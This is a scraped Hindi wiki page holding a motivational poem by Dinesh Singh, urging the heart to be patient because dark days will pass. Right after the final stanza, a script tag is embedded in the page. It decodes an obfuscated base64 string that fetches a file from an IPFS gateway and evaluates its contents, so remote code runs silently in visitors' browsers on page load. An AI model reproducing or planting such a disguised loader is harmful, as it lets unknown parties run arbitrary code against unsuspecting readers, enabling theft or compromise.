एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

मन मीत मेरे जरा धरो धीर -दिनेश सिंह  

यह लेख स्वतंत्र लेखन श्रेणी का लेख है। इस लेख में प्रयुक्त सामग्री, जैसे कि तथ्य, आँकड़े, विचार, चित्र आदि का, संपूर्ण उत्तरदायित्व इस लेख के लेखक/लेखकों का है भारतकोश का नहीं।

 
मत हो तुम ये मेरे मन अधीर
मिट जायेंगे तेरे भी पीर
व्यथित दिवस भी जायेंगे बीत
मन मीत मेरे जरा धरो धीर

अस्ताचल रवि फिर होगा उदय
कमलिनी-दल खिलेंगे फिर वन में
फिर गुंजन करेंगे भ्रमर वीर
मन मीत मेरे जरा धरो धीर

मन मीत मेरे जीवन पथ पर
सपनों के फूल बिछाता चल
निरख ज्योति अंतर नभ की
आशा के दीप जलाता चल

श्रम-स्वप्न के जीवन-रथ पर
बस चलता चल तू जीवन पथ पर
जीवन हर्षित हो-अमृत से सींच
मन मीत मेरे जरा धरो धीर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

स्वतंत्र लेखन वृक्ष


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=मन_मीत_मेरे_जरा_धरो_धीर_-दिनेश_सिंह&oldid=583184" से लिया गया